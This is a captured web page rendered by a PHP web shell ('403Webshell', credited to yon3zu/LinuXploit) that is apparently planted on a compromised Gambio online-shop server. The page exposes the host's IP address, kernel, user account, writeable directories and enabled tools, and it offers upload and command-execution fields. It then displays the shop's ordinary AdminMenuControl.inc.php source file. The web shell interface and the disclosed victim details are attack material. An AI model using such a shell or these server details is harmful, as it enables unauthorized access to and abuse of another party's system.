403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/admin_menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/admin_menu/AdminMenuControl.inc.php
<?php
/* --------------------------------------------------------------
   AdminMenuControl.inc.php 2017-12-18
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2017 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/


class AdminMenuControl
{
	/**
	 * Contains the connected file.
	 *
	 * @var string
	 */
	protected static $connected_php_filename;

	function get_menu_array( $p_customers_id )
	{
		$t_cache_key = 'AdminMenuSource_'.(int)$_SESSION['languages_id'];
		$coo_cache = DataCache::get_instance();
		if($coo_cache->key_exists($t_cache_key, true))
		{
			#use cached object
			$coo_menu = $coo_cache->get_data($t_cache_key);
		}
		else
		{
			#build and init new object
			$coo_menu = MainFactory::create_object('AdminMenuSource', array(false));
			$coo_menu->init_structure_array();

			#write object to cache
			$coo_cache->set_data($t_cache_key, $coo_menu, true);
		}
		$t_groups = $coo_menu->get_groups_array();
		
		$accessServiceFactory = MainFactory::create('AdminAccessServiceFactory',
		                                            StaticGXCoreLoader::getDatabaseQueryBuilder());
		$accessService        = $accessServiceFactory->createAdminAccessService();

		$coo_favorites = MainFactory::create_object('AdminFavoritesSource', array(false));
		$coo_favorites->init_structure_array();
		$t_favorites_array = $coo_favorites->get_favorites($p_customers_id);

		$t_groups_array = array();
		$t_favorites_items_array = array();
		$t_fav_group_id = 0;
		$t_fav_counter = 0;
		foreach($t_groups as $key => $t_group){
			if($t_group['id'] != ""){
				if($t_group['title'] == "Favs"){
					$t_fav_group_id = $t_fav_counter;
				}
				$t_items = $coo_menu->get_group_items_array($t_group['id']);
				$t_items_array = array();
				foreach($t_items as $key => $t_item){
					try
					{
						if($t_item['link'] === 'admin.php' && isset($t_item['link_param']))
						{
							$controller            = substr($t_item['link_param'], strpos($t_item['link_param'], 'do=')+3);
							$controller            = substr($controller, 0,
							                                strpos($controller, '&') ? : strlen($controller));
							$customer_is_permitted = $accessService->checkReadingPermissionForController(new NonEmptyStringType($controller),
							                                                                             new IdType((int)$p_customers_id));
						}
						else
						{
							$page                  = strtok($t_item['link'], '?');
							$customer_is_permitted = $accessService->checkReadingPermissionForPage(new NonEmptyStringType($page),
							                                                                       new IdType((int)$p_customers_id));
						}
					}
					catch(GroupNotFoundException $e)
					{
						$customer_is_permitted = false;
						LogControl::get_instance()->notice($e->getMessage(), 'security', 'admin_access');
					}
					
					if($customer_is_permitted)
					{
						$t_session_id = xtc_session_id();
						$t_item['link'] = xtc_href_link($t_item['link'], $t_item['link_param']);
						$t_item['id'] = "id_".md5($t_item['link']);
						if(strpos($t_item['link'], xtc_session_name()) !== false)
						{
							$t_link = str_replace('?' . xtc_session_name() . '=' . $t_session_id, '', $t_item['link']);
							$t_link = str_replace('&' . xtc_session_name() . '=' . $t_session_id, '', $t_link);
							$t_link = str_replace('.php&', '.php?', $t_link);
							$t_item['id'] = 'id_'.md5($t_link);
						}
						$t_items_array[] = $t_item;
						if(in_array($t_item['id'], $t_favorites_array))
						{
							$t_fav_key = array_keys($t_favorites_array, $t_item['id']);
							$t_favorites_items_array[$t_fav_key[0]] = $t_item;
						}
					}
				}

				$t_groups_array[] = array("id" => $t_group['id'], "title" => $t_group['title'], "background" => $t_group['background'], "class" => $t_group['class'], "menuitems" => $t_items_array,
				                          "brand" => $t_group['brand'], "type" => $t_group['type']);
				$t_fav_counter++;
			}
		}
		ksort($t_favorites_items_array);
		$t_groups_array[$t_fav_group_id]['menuitems'] = $t_favorites_items_array;
		return $t_groups_array;
	}


	/**
	 * Connect menu with another PHP file.
	 *
	 * Use this method to declare that a page has the same admin menu item as another one. You
	 * only need to specify the name of the PHP file that is the parent of the connection. This is
	 * required because many pages where concatenated into a single menu item.
	 *
	 * @param string $php_filename Use only the file name (e.g. "products_attributes.php").
	 */
	public static function connect_with_page($php_filename) {
		if (!is_string($php_filename) || empty($php_filename)) {
			throw new InvalidArgumentException('Invalid argument provided (expected non-empty string): '
			                                   . $php_filename . ' - ' . gettype($php_filename));
		}
		
		self::$connected_php_filename = (string)$php_filename;
	}


	/**
	 * Reset Connected Page Setting
	 *
	 * Use this method to reset a preview "connect_with_page" usage.
	 */
	public static function reset_connected_page() {
		self::$connected_php_filename = null;
	}

	/**
	 * Get the name of the connected file to be used as a reference for the active menu determination.
	 *
	 * @return string|null Returns the connected page path or null if no page is connected.
	 */
	public static function get_connected_page() {
		return (!empty(self::$connected_php_filename)) ? DIR_WS_ADMIN . self::$connected_php_filename : '';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit